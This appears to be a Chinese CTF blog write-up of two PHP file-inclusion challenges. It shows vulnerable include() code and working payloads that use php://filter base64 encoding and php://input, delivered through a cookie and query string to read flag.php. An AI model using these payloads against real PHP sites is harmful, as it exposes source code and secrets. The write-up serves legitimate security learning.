CTFer blogs--Web-fileinclude
本题来源攻防世界
解题思路:
首先分析代码,将cookie中‘language’的值传入lan
在后续又使用include调用了lan这个变量,因此可以从此处写入读取flag.php的payload
可以使用burpsuite进行抓包后添加cookie值
name:language
value:php://filter/read=convert.base64-encode/resource=/var/www/html/flag
得到base64加密后再进行解码即可得到flag
第二题
fileinlucde
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET["file1"]) && isset($_GET["file2"]))
{
$file1 = $_GET["file1"];
$file2 = $_GET["file2"];
if(!empty($file1) && !empty($file2))
{
if(file_get_contents($file2) === "hello ctf")
{
include($file1);
}
}
else
die("NONONO");
}
分析代码可知,
file1 = flag.php 使用http://filter伪协议来获取源代码
file2 = hello ctf 想要让函数getcontent返回字符串,可以使用php://input伪协议绕过
因此可以构造如下payload
?file1=php://filter/convert.base64-encode/resource=flag.php&file2=php://input
同时在post中传入 hello ctf=hello ctf
因为post=传参是以键值对的形式进行传输的
之后打开burpsuite进行抓包,抓包后的结果去掉键只保留值 即 hello ctf 发送即可得到base64加密,解密即可得到flag
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· Manus的开源复刻OpenManus初探
· AI 智能体引爆开源社区「GitHub 热点速览」
· 三行代码完成国际化适配,妙~啊~
· .NET Core 中如何实现缓存的预热?